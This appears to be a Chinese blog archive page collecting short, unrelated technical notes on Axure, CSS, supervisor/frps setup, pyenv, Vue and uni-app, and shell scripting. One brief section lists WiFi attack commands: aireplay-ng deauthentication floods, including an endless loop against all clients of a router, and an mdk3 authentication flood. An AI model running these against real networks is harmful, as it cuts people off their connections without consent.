1. 创建一个Dynamic panel

2. 添加面板状态
双击动态面板,点击state1添加,编辑面板状态

添加至三个面板状态

3. 创建选项卡

确保是在对应的state里面添加

4. 添加选项卡点击事件
为选项卡添加点击切换到对应的state的状态

依次添加直至所有选项卡都有可切换到对应state的点击事件

5. 设置响应状态
在不同的state下,设置对应state应该显示的效果

依次将组件复制到其他state并设置对应显示效果

6. 预览效果

所有文章的完整列表,按时间倒序排列 - 第12页

双击动态面板,点击state1添加,编辑面板状态

添加至三个面板状态


确保是在对应的state里面添加

为选项卡添加点击切换到对应的state的状态

依次添加直至所有选项卡都有可切换到对应state的点击事件

在不同的state下,设置对应state应该显示的效果

依次将组件复制到其他state并设置对应显示效果


伪类选择元素基于的是当前元素处于的状态,或者说元素当前所具有的特性,而不是元素的id、class、属性等静态的标志。由于状态是动态变化的,所以一个元素达到一个特定状态时,它可能得到一个伪类的样式;当状态改变时,它又会失去这个样式。由此可以看出,它的功能和class有些类似,但它是基于文档之外的抽象,所以叫伪类。
伪元素是对元素中的特定内容进行操作,它所操作的层次比伪类更深了一层,也因此它的动态性比伪类要低得多。实际上,设计伪元素的目的就是去选取诸如元素内容第一个字(母)、第一行,选取某些内容前面或后面这种普通的选择器无法完成的工作。它控制的内容实际上和元素是相同的,但是它本身只是基于元素的抽象,并不存在于文档中,所以叫伪元素。
awesome teleporter是一个可以兼有捡死亡包的传送mod






supervisor是一个守护进程工具
yum install -y supervisor
安装后会生成如下内容

我们查看一下/etc/supervisord.conf,发现文件最后一行

这就是在提示我们把配置文件写supervisord.d目录下的ini文件里。
首先切换到supervisord.d目录
touch frps.ini
nano frps.ini
复制以下内容(示例为运行frps服务端)
[program:frps]
user=root
command=/root/frp/frps/frps -c /root/frp/frps/frps.ini
startsecs=1
startretries=100
autorstart=true
autorestart=true
stderr_logfile=/tmp/err-frps.log
stderr_logfile_maxbytes=50MB
stderr_logfile_backups=10
stdout_logfile=/tmp/out-frps.log
stdout_logfile_maxbytes=50MB
stdout_logfile_backups=10
supervisorctl status //查看状态
supervisorctl reload //重载配置文件
supervisorctl reload
supervisord -c /etc/supervisord.conf
然后再配置好开机自启就OK了
pyenv可以让你轻松的在各版本的python环境中切换自如,它是一个简单而又不引人注目并遵循UNIX传统的专用工具。
这个项目是从rbenv和ruby-buildfork而来, 并且在配合Python的情况下做了适当的修改.

让你在用户基础上改变全局Python版本.
支持为每一个项目设立一个Python版本.
允许您使用环境变量覆盖Python版本.
在多个python环境中搜索命令,这有助于在Python版本中进行测试 tox.
不依赖于Python本身。 pyenv是由纯shell脚本制作的。没有Python的引导问题。
**不需要加载到你的shell中。**相反,pyenv的shim方法的工作原理是在$ PATH中添加一个目录。
不能管理virtualenv 当然你可以自行创建virtualenv virtualenv或者使用pyenv-virtualenv去自动化构建
在较高的层次上,pyenv使用shim拦截Python命令注入PATH的可执行文件, 确定哪个Python版本已由您的应用程序指定,并传递您的命令使用你想要的Python安装版本。
当你执行命令,如python或者pip, 你的操作系统会搜索目录列表以查找可执行文件的那个名字.此目录列表位于环境变量中称为PATH, 列表中的每个目录使用用冒号分隔.

PATH中的目录从左到右搜索,因此首先匹配在列表开头的目录中的可执行文件, 然后一次往右匹配。在这个例子中,首先搜索/usr/local/sbin目录,然后搜索/usr/local/bin,然后是/usr/sbin。
pyenv的工作原理是在你的PATH前面插入一个shims目录,这样一来系统在搜索Python的时候第一个找到的就是pyenv管理的Python环境。这个插到最前面的路径就叫做垫片(shims)
$(pyenv root)/shims:/usr/local/bin:/usr/bin:/bin
通过一个叫做为_rehashing_的进程, pyenv维护shims目录以匹配每个已安装版本的每个Python命令,比如python,pip等。
垫片是轻量级可执行文件,只是简单地传递命令到pyenv。所以只要安装了pyenv,当你运行时,比如说,pip,你的操作系统将执行以下操作:
在PATH中搜索名为pip的可执行文件
在PATH的开头找到名为pip的pyenv垫片
运行名为pip的垫片,然后将命令传递给属于pyenv的pip命令
执行shims程序时,pyenv会确定要使用的Python版本,并按此以下资源顺序读取:
PYENV_VERSION环境变量(如果指定). 你可以使用pyenv shell 去设置环境变量在你当前shell session.
当前特定于应用程序的.python-version文件目录(如果有). 您可以使用 pyenv local修改当前目录.python-version文件.
通过搜索每个上层目录,找到第一个.python-version文件(如果有的话),直到到达文件系统的根目录
全局$(pyenv root)/version文件. 您可以使用pyenv global 修改这个文件. 如果是该全局文件不存在,pyenv假设您要使用“系统”Python。(换句话说,如果pyenv不在您的PATH中,那么任何版本都会运行.)
NOTE: 您可以同时激活多个版本,甚至包括Python2或Python3的任何版本. 这允许平行使用Python2和Python3,并且需要像tox这样的工具. 例如,要设置你的首次使用的系统Python和Python3的路径(在这个例子中设置为2.7.9和3.4.2),但也可以在你的PATH使用Python 3.3.6,3.2和2.5,首先是pyenv install缺少的版本,然后设置pyenv全局3.3.6 3.2 2.5.这时, 使用pyenv which应该能够找到每个可执行路径, 例如pyenv which python2.5(应该显示$(pyenv root/versions/2.5 /bin/python2.5) 或者pyenv which python3.4(应该显示系统Python3路径). 您还可以指定多个.python-version`文件中的版本,由换行符或任何空格分隔。
ifconfig
airmon-ng start wlan0
airodump-ng wlan0mon
aireplay-ng -0 [攻击数量] –a [路由器MAC] -c [客户端MAC] wlan0mon
攻击数量设为0为无限循环模式
路口器MAC地址为必填项
客户端MAC,可不填则对路由器所有的客户端进行攻击
sudo mdk3 mon0 a -a D4:83:04:9F:37:28
如果不使用v-html而是直接将html标签加入视图层会出现html标签不解析的情况,如果我们想实现解析的效果。vue中提供了v-html指令。使用 v-html 指令,你可以将html标签解析渲染到视图层。
由于微信小程序只是类vue的,与vue存在着很多不同点。但是为了秉承将vue进行到底的宗旨,很多微信小程序开发框架如雨后春笋。在我使用的过程中,感觉uni-app与vue最为贴近,而且适配了很多vue的特性,如:v-model,filters,v-html等。官网是这样介绍的。

其中,他们是通过微信小程序rich-text的属性来实现v-html的效果的。所以,我们想知道支持什么标签,就得移步至rich-text | 微信开发文档
demo 中的需求是一个赛事报名list,其中赛事状态有,预报名,报名成功,正在进行,已结束等。
预实现方法:由于微信小程序的rich-text组件会禁用所有的节点事件,所以想通过@click绑定v-html节点事件,filter渲染界面。但是在实现过程中发现不支持在v-html中使用filter, 故后来采用methods的返回值来实现视图层的渲染。

效果如下:至此效果,v-html解析成功

添加状态判断

rpx(responsive pixel): 可以根据屏幕宽度进行自适应。规定屏幕宽为750rpx。要实现4:3的展示则可以
image{
width:750rpx;
height:563rpx;
}
不管三七二十一,加
!important
.findButton {
width:300px !important;
height:35px !important;
}
<view class="nickName">
<view>{{userInfo.nickName}}</view>
</view>
.nickName {
width: 100%;
display: flex;
align-items: center;
justify-content: center;
height: 44px;
}
selectedColor 和 list 是同级别的。写在list数组外面就可以了。
blur中的参数是虚化比例
filter: blur(1px);
scroll-view设置`scroll-x"也不会横向滚动要给scroll-view加上white-space: nowrap; ,给scroll-view的子元素box加上display:inline-block;
本文诞生原因:作为一个程序员,居然不会shell,说起来也尴尬。
#!/bin/bash
...
Shell变量定义不需要关键字,直接定义,不要加$。如name = "hello"
Shell变量使用的时候需要加$, 花括号为可选项,但是为了让程序可以分清边界,一般使用花括号。如echo ${name}
在前面加readonly
如:
#!/bin/bash
name="Hello"
readonly name
在前面加unset
变量被删除后不能再次使用。unset 命令不能删除只读变量。
如:
#!/bin/sh
name="Hello"
unset name
read - 从标准输入读取数值,命令语法:
read: read [-ers] [-a array] [-d delim] [-i text] [-n nchars] [-N nchars] [-p prompt] [-t timeout] [-u fd] [name ...]
从标准输入中读取一行。
从标准输入中读取一行, 如果提供 -u 则从文件描述符FD中读取一行。该行数据与单词一样分隔, 第一个单词分给第一个变量,第二个分给第二个变量,依次类推,直至最后一个单词. 只有在$IFS中找到的字符才会被识别为单词分隔符。
如果不提供变量,这一行的读取将被存在REPLY变量中。
Options:
-a 数组 将读取的单词分配给顺序数组,下标从零开始。
-d delim 继续读取直到读取DELIM的第一个字符,而不是换行符.
-e use Readline to obtain the line in an interactive shell
-i text use TEXT as the initial text for Readline
-n nchars return after reading NCHARS characters rather than waiting
for a newline, but honor a delimiter if fewer than
NCHARS characters are read before the delimiter
-N nchars return only after reading exactly NCHARS characters, unless
EOF is encountered or read times out, ignoring any
delimiter
-p prompt output the string PROMPT without a trailing newline before
attempting to read
-r do not allow backslashes to escape any characters
-s do not echo input coming from a terminal
-t timeout time out and return failure if a complete line of
input is not read within TIMEOUT seconds. The value of the
TMOUT variable is the default timeout. TIMEOUT may be a
fractional number. If TIMEOUT is 0, read returns
immediately, without trying to read any data, returning
success only if input is available on the specified
file descriptor. The exit status is greater than 128
if the timeout is exceeded
-u fd read from file descriptor FD instead of the standard input
Exit Status:
The return code is zero, unless end-of-file is encountered, read times out
(in which case it's greater than 128), a variable assignment error occurs,
or an invalid file descriptor is supplied as the argument to -u.
不翻译了,反正都是很简单的英语
在事件处理程序中调用 event.preventDefault() 或 event.stopPropagation() 是非常常见的需求。尽管我们可以在方法中轻松实现这点,但更好的方式是:方法只有纯粹的数据逻辑,而不是去处理 DOM 事件细节。
为了解决这个问题,Vue.js 为 v-on 提供了事件修饰符。之前提过,修饰符是由点开头的指令后缀来表示的。
.stop
.prevent
.capture
.self
.once
.passive
<!-- 阻止单击事件继续传播 -->
<a v-on:click.stop="doThis"></a>
<!-- 提交事件不再重载页面 -->
<form v-on:submit.prevent="onSubmit"></form>
<!-- 修饰符可以串联 -->
<a v-on:click.stop.prevent="doThat"></a>
<!-- 只有修饰符 -->
<form v-on:submit.prevent></form>
<!-- 添加事件监听器时使用事件捕获模式 -->
<!-- 即元素自身触发的事件先在此处理,然后才交由内部元素进行处理 -->
<div v-on:click.capture="doThis">...</div>
<!-- 只当在 event.target 是当前元素自身时触发处理函数 -->
<!-- 即事件不是从内部元素触发的 -->
<div v-on:click.self="doThat">...</div>
使用修饰符时,顺序很重要;相应的代码会以同样的顺序产生。因此,用 v-on:click.prevent.self 会阻止所有的点击,而 v-on:click.self.prevent 只会阻止对元素自身的点击。
<!-- 点击事件将只会触发一次 -->
<a v-on:click.once="doThis"></a>
不像其它只能对原生的 DOM 事件起作用的修饰符,.once 修饰符还能被用到自定义的组件事件上。如果你还没有阅读关于组件的文档,现在大可不必担心。